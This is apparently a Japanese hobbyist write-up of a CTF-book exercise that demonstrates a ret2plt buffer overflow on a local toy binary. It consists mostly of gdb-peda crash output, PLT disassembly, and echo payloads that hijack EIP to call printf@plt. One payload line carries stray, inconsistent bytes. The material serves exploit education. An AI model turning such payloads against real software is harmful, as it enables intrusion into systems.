セキュリティコンテストチャレンジブック[エクスプロイト(ret2plt)]

ret2plt(Return to Procedure Linkage Table)の やり方。
動作検証してみた。

OS: Ubuntu 14.04 64bit

PLTに書かれた短いコード片を関数として呼び出すと、動的リンクされたライブラリのアドレスを解決してライブラリ内の関数を実行してくれるらしい。

ret2plt の準備

peda で50バイトのパターン文字を生成し、bof3 の入力とする。

gdb
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/user1/Desktop/work/bof3 
buffer: 0x804a060
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

Program received signal SIGSEGV, Segmentation fault.
[-------------------------------------------------------------------------------------registers--------------------------------------------------------------------------------------]
EAX: 0x0 
EBX: 0xf7fbc000 --> 0x1a6da8 
ECX: 0xffffd7a0 --> 0xa4162 (b'bA\n')
EDX: 0x804a090 --> 0xa4162 (b'bA\n')
ESI: 0x0 
EDI: 0x0 
EBP: 0x41304141 (b'AA0A')
ESP: 0xffffd7a0 --> 0xa4162 (b'bA\n')
EIP: 0x41414641 (b'AFAA')
[----------------------------------------------------------------------------------------code----------------------------------------------------------------------------------------]
Invalid $PC address: 0x41414641
[---------------------------------------------------------------------------------------stack----------------------------------------------------------------------------------------]
00:0000| ecx esp 0xffffd7a0 --> 0xa4162 (b'bA\n')
01:0004|         0xffffd7a4 --> 0xffffd834 --> 0xffffd9cd ("/home/user1/Des"...)
02:0008|         0xffffd7a8 --> 0xffffd83c --> 0xffffd9eb ("XDG_VTNR=7")
03:0012|         0xffffd7ac --> 0xf7feacea (add    ebx,0x12316)
04:0016|         0xffffd7b0 --> 0x1 
05:0020|         0xffffd7b4 --> 0xffffd834 --> 0xffffd9cd ("/home/user1/Des"...)
06:0024|         0xffffd7b8 --> 0xffffd7d4 --> 0x33df8213 
07:0028|         0xffffd7bc --> 0x804a01c --> 0xf7e2e970 (<__libc_start_main>:  push   ebp)
[------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()

EIP の値が AFAA なので何文字目からはじまるか調べる。

gdb-peda$ patto AFAA
AFAA found at offset: 44

main 関数のアドレスは 0804849d だった。

objdump -d --no -M intel bof3 
0804849d <main>:
 804849d:       push   ebp
 804849e:       mov    ebp,esp
 80484a0:       and    esp,0xfffffff0
 80484a3:       sub    esp,0x30
 80484a6:       mov    DWORD PTR [esp+0x4],0x804a060
 80484ae:       mov    DWORD PTR [esp],0x8048590
 80484b5:       call   8048350 <printf@plt>
 80484ba:       mov    eax,ds:0x804a040
 80484bf:       mov    DWORD PTR [esp+0x8],eax
 80484c3:       mov    DWORD PTR [esp+0x4],0x80
 80484cb:       lea    eax,[esp+0x10]
 80484cf:       mov    DWORD PTR [esp],eax
 80484d2:       call   8048360 <fgets@plt>
 80484d7:       lea    eax,[esp+0x10]
 80484db:       mov    DWORD PTR [esp+0x4],eax
 80484df:       mov    DWORD PTR [esp],0x804a060
 80484e6:       call   8048370 <strcpy@plt>
 80484eb:       mov    eax,0x0
 80484f0:       leave  
 80484f1:       ret    
 80484f2:       xchg   ax,ax
 80484f4:       xchg   ax,ax
 80484f6:       xchg   ax,ax
 80484f8:       xchg   ax,ax
 80484fa:       xchg   ax,ax
 80484fc:       xchg   ax,ax
 80484fe:       xchg   ax,ax

先ほど確認した入力文字の44文字目から main 関数のアドレス[0804849d] をセットしてecho したものをbof3に食べさせる。 main 関数が2回実行され(2回目はEIPを制御して実行)、bufferの値が出力される。

$ echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | ./bof3 
buffer: 0x804a060
buffer: 0x804a060
zsh: done                              echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | 
zsh: segmentation fault (core dumped)  ./bof3

ret2plt を実行

.plt セクションの内容を確認 printf@plt が 08048350 にある

$ objdump -d -M intel -j .plt --no bof3

bof3:     ファイル形式 elf32-i386


セクション .plt の逆アセンブル:

08048340 <printf@plt-0x10>:
 8048340:   push   DWORD PTR ds:0x804a004
 8048346:   jmp    DWORD PTR ds:0x804a008
 804834c:   add    BYTE PTR [eax],al
    ...

08048350 <printf@plt>:
 8048350:   jmp    DWORD PTR ds:0x804a00c
 8048356:   push   0x0
 804835b:   jmp    8048340 <_init+0x28>

08048360 <fgets@plt>:
 8048360:   jmp    DWORD PTR ds:0x804a010
 8048366:   push   0x8
 804836b:   jmp    8048340 <_init+0x28>

08048370 <strcpy@plt>:
 8048370:   jmp    DWORD PTR ds:0x804a014
 8048376:   push   0x10
 804837b:   jmp    8048340 <_init+0x28>

08048380 <__gmon_start__@plt>:
 8048380:   jmp    DWORD PTR ds:0x804a018
 8048386:   push   0x18
 804838b:   jmp    8048340 <_init+0x28>

08048390 <__libc_start_main@plt>:
 8048390:   jmp    DWORD PTR ds:0x804a01c
 8048396:   push   0x20
 804839b:   jmp    8048340 <_init+0x28>

buffer のアドレスは 0804a060 だった。

$ readelf -s bof3 | grep buffer
    54: 0804a060    32 OBJECT  GLOBAL DEFAULT   25 buffer

echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08\x08BBBB\x60\xa0\x07\x08' | ./bof3 

echo A43文字 + [printf@plt のアドレス] + [関数呼び出し後のダミーのリターンアドレス BBBB] + [buffer のアドレス] した結果をbof3に食べさせる。

$ echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08'| ./bof3
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP�BBBB`�
zsh: done                              echo  | 
zsh: segmentation fault (core dumped)  ./bof3

3行目にprintf の結果が表示された。

所感

これで、plt内の printf を呼び出すことができた。 結構面白い。